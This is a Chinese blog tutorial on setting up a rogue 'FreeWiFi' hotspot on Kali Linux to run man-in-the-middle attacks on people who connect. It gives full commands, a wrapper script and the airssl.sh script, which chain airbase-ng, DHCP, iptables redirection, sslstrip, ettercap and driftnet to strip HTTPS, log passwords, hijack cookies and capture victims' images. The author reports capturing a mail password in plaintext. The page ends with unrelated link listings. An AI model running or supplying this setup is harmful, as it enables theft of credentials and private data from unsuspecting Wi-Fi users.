1、无线网卡

2、KaliLinux操作系统,这里就不用说了,必备的

3、isc-dhcp-server服务器。安装好KaliLinux后只需要apt-get update 然后apt-get install isc-dhcp-server即可

4、Aircrack-ng套件   #用来发送数据

5、sslstrip       用来突破SSL加密

6、ettercap     用来嗅探劫持

后面三个软件KaliLinux都自带有,不用安装即可。

首先强调下,后面的bash脚本适用于使用isc-dhcp-server这个bash脚本,建立钓鱼热点。

安装dhcp服务

apt-get install isc-dhcp-server

配置文件分别在/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf,前者可以配置监听端口,这里以wlan0为例

配置dhcp文件后,断开wlan0的网络,分配一个ip

ifconfig wlan0 192.168.1.2/24

启动dhcp服务

/etc/init.d/isc-dhcp-server start 或者

service isc-dhcp-server start

建立热点:

将下文写好的airssl.sh添加执行权限

bash airssl.sh

然后分别是AP建立,DHCP建立,sslstrip开启,ettercap开启。

这里再介绍一种方法,是使用 airbase-ng + dhcpd 创建虚拟WiFi热点;顺便使用 sslstrip+ettercap 进行中间人攻击,嗅探使用者的上网信息和劫持cookie!

所需要的软件如下;kali-linux都已经自带了,其他的系统可以自行安装:
Aircrack-ng 套件    #用来发送数据
isc-dhcp-server    #简单的dhcp服务器
sslstrip      #突破ssl加密
ettercap      #嗅探劫持

leaf /etc/dhcp/dhcpd.conf   编辑dhcp服务器配置文件,修改如下:

authoritative;

default-lease-time 700;
max-lease-time 8000;

subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;

option domain-name "FreeWiFi";
option domain-name-servers 10.0.0.1;

range 10.0.0.10 10.0.0.100;

}

然后激活网卡至监听模式:
airmon-ng start wlan0
airbase-ng -e FreeWiFi -c 6 mon0
此时虚拟wifi的信号已经发送出去了,如果出现错误:
Error: Got channel -1, expected a value > 0.
执行如下命令:

airmon-ng stop mon0

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

然后从激活网卡至监听模式那里重新开始。
接着执行如下命令:

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start

虚拟WiFir热点创建成功,接下来就是嗅探欺骗钓鱼了:

sslstrip -fpk 10000
ettercap -Tpuqi at0

然后就等着鱼儿上钩吧!

手机上测试了下,网易邮箱直接明文密码:

百度使用了加密:

写了一个脚本,修改成自己的设置每次执行就ok了:
复制下面代码,保存为 “Fake_a_ap.sh”,然后 chmod +x Fake_a_ap.sh && ./Fake_a_ap.sh

#!/bin/sh

echo "即将创建WiFi热点,请确保dhcpd.conf已经配置好!" &
sleep 5

ifconfig wlan0 down #wlan0修改成你的网卡
iwconfig wlan0 mode monitor
ifconfig wlan0 up

airmon-ng start wlan0 &
sleep 5
airbase-ng -e FreeWiFi -c 6 mon0 & #修改成自己的热点名称和信道
sleep 5

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush && iptables --table nat --flush && iptables --table nat --flush && iptables --table nat --delete-chain &

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
/etc/init.d/isc-dhcp-server start &
sleep 5
sslstrip -fpk 10000 &
ettercap -puTqi at0

代码如下:

  1. #!/bin/bash
  2. # 修改版,原版信息如下:
  3. ########################################################
  4. # ©opyright 2009 - killadaninja - Modified G60Jon 2010
  5. # airssl.sh - v1.0
  6. # visit the man page NEW SCRIPT Capturing Passwords With sslstrip AIRSSL.sh
  7. ########################################################
  8. # Network questions
  9. echo "AIRSSL_KALI"
  10. echo "修该版本,适用于kali或者使用isc-dhcp-server的环境,原版信息如下:"
  11. echo "AIRSSL 2.0 - Credits killadaninja & G60Jon  "
  12. echo "仅供学习用途"
  13. echo
  14. route -n -A inet | grep UG
  15. echo "DNS服务器.例如8.8.8.8: "
  16. read -e dnsip
  17. echo "网关地址.例如192.168.0.1:"
  18. read -e gatewayip
  19. echo "接入internet的接口.例如eth1: "
  20. read -e internet_interface
  21. echo "用于建立AP的接口.例如wlan0: "
  22. read -e fakeap_interface
  23. echo "AP的ESSID: "
  24. read -e ESSID
  25. airmon-ng start $fakeap_interface
  26. fakeap=$fakeap_interface
  27. fakeap_interface="mon0"
  28. # Dhcpd creation
  29. mkdir -p "/pentest/wireless/airssl"
  30. cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.bak
  31. cp /etc/default/isc-dhcp-server /etc/default/isc-dhcp-server.bak
  32. echo "ddns-update-style none;
  33. default-lease-time 600;
  34. max-lease-time 7200;
  35. authoritative;
  36. log-facility local7;
  37. ">/etc/dhcp/dhcpd.conf
  38. echo -n "subnet 192.168.0.0 netmask 255.255.255.0 {
  39. range 192.168.0.100 192.168.0.200;
  40. option domain-name-servers ">>/etc/dhcp/dhcpd.conf
  41. echo -n $dnsip>>/etc/dhcp/dhcpd.conf
  42. echo -n ";
  43. # option domain-name "internal.example.org";
  44. option routers ">>/etc/dhcp/dhcpd.conf
  45. echo -n $gatewayip>>/etc/dhcp/dhcpd.conf
  46. echo -n ";
  47. option broadcast-address 192.168.0.255;
  48. default-lease-time 600;
  49. max-lease-time 7200;
  50. }" >> /etc/dhcp/dhcpd.conf
  51. echo "
  52. DHCPD_CONF=/etc/dhcp/dhcpd.conf
  53. DHCPD_PID=/var/run/dhcpd.pid
  54. INTERFACES="at0"
  55. ">/etc/default/isc-dhcp-server
  56. # Fake ap setup
  57. echo "[+] Configuring FakeAP...."
  58. echo
  59. echo "Airbase-ng will run in its most basic mode, would you like to
  60. configure any extra switches? "
  61. echo
  62. echo "Choose Y to see airbase-ng help and add switches. "
  63. echo "Choose N to run airbase-ng in basic mode with your choosen ESSID. "
  64. echo "Choose A to run airbase-ng in respond to all probes mode (in this mode your choosen ESSID is not used, but instead airbase-ng responds to all incoming probes), providing victims have auto connect feature on in their wireless settings (MOST DO), airbase-ng will imitate said saved networks and slave will connect to us, likely unknowingly. PLEASE USE THIS OPTION RESPONSIBLY. "
  65. echo "Y, N or A "
  66. read ANSWER
  67. if [ $ANSWER = "y" ] ; then
  68. airbase-ng --help
  69. fi
  70. if [ $ANSWER = "y" ] ; then
  71. echo
  72. echo -n "Enter switches, note you have already chosen an ESSID -e this cannot be
  73. redefined, also in this mode you MUST define a channel "
  74. read -e aswitch
  75. echo
  76. echo "[+] Starting FakeAP..."
  77. xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng "$aswitch" -e "$ESSID" $fakeap_interface & fakeapid=$!
  78. sleep 2
  79. fi
  80. if [ $ANSWER = "a" ] ; then
  81. echo
  82. echo "[+] Starting FakeAP..."
  83. xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -P -C 30 $fakeap_interface & fakeapid=$!
  84. sleep 2
  85. fi
  86. if [ $ANSWER = "n" ] ; then
  87. echo
  88. echo "[+] Starting FakeAP..."
  89. xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -c 1 -e "$ESSID" $fakeap_interface & fakeapid=$!
  90. sleep 2
  91. fi
  92. # Tables
  93. echo "[+] Configuring forwarding tables..."
  94. ifconfig lo up
  95. ifconfig at0 up &
  96. sleep 1
  97. ifconfig at0 $gatewayip netmask 255.255.255.0
  98. ifconfig at0 mtu 1400
  99. route add -net 192.168.0.0 netmask 255.255.255.0 gw $gatewayip
  100. iptables --flush
  101. iptables --table nat --flush
  102. iptables --delete-chain
  103. iptables --table nat --delete-chain
  104. echo 1 > /proc/sys/net/ipv4/ip_forward
  105. iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
  106. iptables -P FORWARD ACCEPT
  107. iptables --append FORWARD --in-interface at0 -j ACCEPT
  108. iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE
  109. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  110. # DHCP
  111. echo "[+] Setting up DHCP..."
  112. #touch /var/run/dhcpd.pid
  113. #chown dhcpd:dhcpd /var/run/dhcpd.pid
  114. #xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" at0 & dchpid=$!
  115. #sleep 3
  116. /etc/init.d/isc-dhcp-server start
  117. # Sslstrip
  118. echo "[+] Starting sslstrip..."
  119. xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -p -k 10000 & sslstripid=$!
  120. sleep 2
  121. # Ettercap
  122. echo "[+] Configuring ettercap..."
  123. echo
  124. echo "Ettercap will run in its most basic mode, would you like to
  125. configure any extra switches for example to load plugins or filters,
  126. (advanced users only), if you are unsure choose N "
  127. echo "Y or N "
  128. read ETTER
  129. if [ $ETTER = "y" ] ; then
  130. ettercap --help
  131. fi
  132. if [ $ETTER = "y" ] ; then
  133. echo -n "Interface type is set you CANNOT use "\"interface type\"" switches here
  134. For the sake of airssl, ettercap WILL USE -u and -p so you are advised
  135. NOT to use -M, also -i is already set and CANNOT be redifined here.
  136. Ettercaps output will be saved to /pentest/wireless/airssl/passwords
  137. DO NOT use the -w switch, also if you enter no switches here ettercap will fail "
  138. echo
  139. read "eswitch"
  140. echo "[+] Starting ettercap..."
  141. xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u "$eswitch" -T -q -i at0 & ettercapid=$!
  142. sleep 1
  143. fi
  144. if [ $ETTER = "n" ] ; then
  145. echo
  146. echo "[+] Starting ettercap..."
  147. xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$!
  148. sleep 1
  149. fi
  150. # Driftnet
  151. echo
  152. echo "[+] Driftnet?"
  153. echo
  154. echo "Would you also like to start driftnet to capture the victims images,
  155. (this may make the network a little slower), "
  156. echo "Y or N "
  157. read DRIFT
  158. if [ $DRIFT = "y" ] ; then
  159. mkdir -p "/pentest/wireless/airssl/driftnetdata"
  160. echo "[+] Starting driftnet..."
  161. driftnet -i $internet_interface -p -d /pentest/wireless/airssl/driftnetdata & dritnetid=$!
  162. sleep 3
  163. fi
  164. xterm -geometry 75x15+1+600 -T SSLStrip-Log -e tail -f sslstrip.log & sslstriplogid=$!
  165. clear
  166. echo
  167. echo "[+] Activated..."
  168. echo "Airssl is now running, after slave connects and surfs their credentials will be displayed in ettercap. You may use right/left mouse buttons to scroll up/down ettercaps xterm shell, ettercap will also save its output to /pentest/wireless/airssl/passwords unless you stated otherwise. Driftnet images will be saved to /pentest/wireless/airssl/driftftnetdata "
  169. echo
  170. echo "[+] IMPORTANT..."
  171. echo "使用完毕请键入Y恢复系统配置,否则可能会出现问题!"
  172. read WISH
  173. # Clean up
  174. if [ $WISH = "y" ] ; then
  175. echo
  176. echo "[+] Cleaning up airssl and resetting iptables..."
  177. kill ${fakeapid}
  178. kill ${dchpid}
  179. kill ${sslstripid}
  180. kill ${ettercapid}
  181. kill ${dritnetid}
  182. kill ${sslstriplogid}
  183. airmon-ng stop $fakeap_interface
  184. airmon-ng stop $fakeap
  185. echo "0" > /proc/sys/net/ipv4/ip_forward
  186. iptables --flush
  187. iptables --table nat --flush
  188. iptables --delete-chain
  189. iptables --table nat --delete-chain
  190. mv /etc/default/isc-dhcp-server.bak /etc/default/isc-dhcp-server
  191. mv /etc/dhcp/dhcpd.conf.bak /etc/dhcp/dhcpd.conf
  192. /etc/init.d/isc-dhcp-server stop
  193. echo "[+] Clean up successful..."
  194. echo "[+] Thank you for using airssl, Good Bye..."
  195. exit
  196. fi
  197. exit

做这个最重要的还是写shell脚本

后面的脚本如果都能自己写出来,才是真正的大神。本人菜鸟,欢迎各位大神狂喷

钓鱼WIFI搭建的更多相关文章

  1. 树莓派搭建钓鱼wifi热点

    我们连接的公共wifi其实是非常不安全的网络,骇客可以利用wifi路由设备进行中间人攻击,劫持DNS伪造钓鱼网站.接下来我会做个简单的实验,伪造中国电信的路由ChinaNet并发射出热点wifi等待别 ...

  2. 简单快速搭建钓鱼wifi

    前言 钓鱼wifi是很久的话题了,但是传统的方法可能比较麻烦需要手动配置dhcp,dns,网卡,流量转发,比较麻烦,而且还有根据每次的网络环境需要重新的配置,这里介绍用WIFIpumpkin3工具简单 ...

  3. kali使用Fluxion钓鱼WiFi

    先介绍一下这个软件 这个软件是一个可以生成一个钓鱼WiFi的软件,可以伪装成一个正常的WiFi,但是是没有密码的,但是其他信息都是一样的,一旦开启这个攻击,正常的那个AP就无法正常连接,只能连到这个伪 ...

  4. 嵌入式Linux利用Wifi搭建无线服务器(物联网实践之无线网关)

    在 http://www.cnblogs.com/heat-man/p/4564539.html中,在嵌入式Linux开发板上我们从最底层实现了一个智能家居的远程控制系统,然而采取的是用网线连接到交换 ...

  5. 深度点评五种常见WiFi搭建方案

    总结十年无线搭建经验,针对企业常见的五种办公室无线网络方案做个简要分析,各种方案有何优劣,又适用于那种类型的企业. 方案一:仅路由器或AP覆盖 简述:使用路由器或AP覆盖多个无线盲区,多个AP的部署实 ...

  6. 一个钓鱼WiFi的破解

    在开始前我们先安装下工具 git clone [url]https://github.com/P0cL4bs/WiFi-Pumpkin.git[/url] [/size] [size=4][size= ...

  7. 钓鱼WIFI的防范

    实际上,Wi-Fi接入点(AP).路由器和热点常常是高度暴露的攻击面.用户一不小心就有可能踏进攻击者设置的Wi-Fi陷阱,为企业造成信息泄露或经济损失. 如今Wi-Fi 6时代悄然到来,为高密海量无线 ...

  8. QQFishing QQ钓鱼站点搭建

    答:为什么要写这个代码? 当然不是做黑产去盗别人扣扣,也没有啥查看别人隐私信息的癖好,搭建该站点的适用对象为->使用社会工程学定向钓鱼攻击的安全渗透人员 另外管理员界面后端写的很丑+很烂,除了我 ...

  9. 如何在Kali Linux中搭建钓鱼热点

    文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用! 0×00 实验环境 操作系统:Kali 1.0 (VM) FackAP: easy-creds 硬件:NETGEAR wg ...

随机推荐

  1. git 学习(2)--恢复版本

    查看修改历史记录 $ git log commit fba77877d316436c1b774b8933380ebcac668040 Author: keith <ustbfxx@163.com ...

  2. 【转载】为什么不常见include .c文件

    备:对于#include  <filename.h> ,编译器从标准库路径开始搜索 filename.h       对于#include  “filename.h” ,编译器从用户的工作 ...

  3. jsonarray 循环

    JSONArray groupList = JSON.parseArray(st1); for (int i=0;i<groupList.size();i++){ JSONObject json ...

  4. ifram+form方式实现文件、图片上传、预览

    1.前端代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UT ...

  5. embedded-redis在单元测试中的使用

    1 背景 参考链接:https://github.com/kstyrc/embedded-redis 2 使用 2.1 引入依赖 <dependency> <groupId>c ...

  6. VirtualBox network / study environment setup for RHEL

    I re-visited the RHEL study material and setup the environment again, noted down the procedure. 1, c ...

  7. python学习笔记(十九)发送邮件

    在python开发项目或者做自动化测试时候,在测试完成后需要将测试结果总结后进行上报,那么我们就可以通过发送邮件来完成这项工作. 下面我们来看看python中怎么发送邮件的,python中发送邮件可以 ...

  8. 《FTL之垃圾回收、写放大和OP 》总结

    来自 http://www.ssdfans.com/?p=1840: 写放大WA: 对空盘来说(未触发GC),写放大一般为1,即Host写入多少数据,SSD写入闪存也是多少数据量(这里忽略SSD内部数 ...

  9. IBM Java 7 新特性和在 WAS 8.5 中的配置【转载】

    IBM Java 7新特性以及在WAS V8.5 中的安装与版本切换 简介: 本文介绍了 IBM Java 7 的基本新特性以及 IBM 特有的新特性,并详细的介绍和分析了 JVM 所采用的新的垃圾回 ...

  10. 【JXL】导出Excel

    基本设置 // File file = new File("d:\\writetest.xlsx");// WritableWorkbook wwb = Workbook.crea ...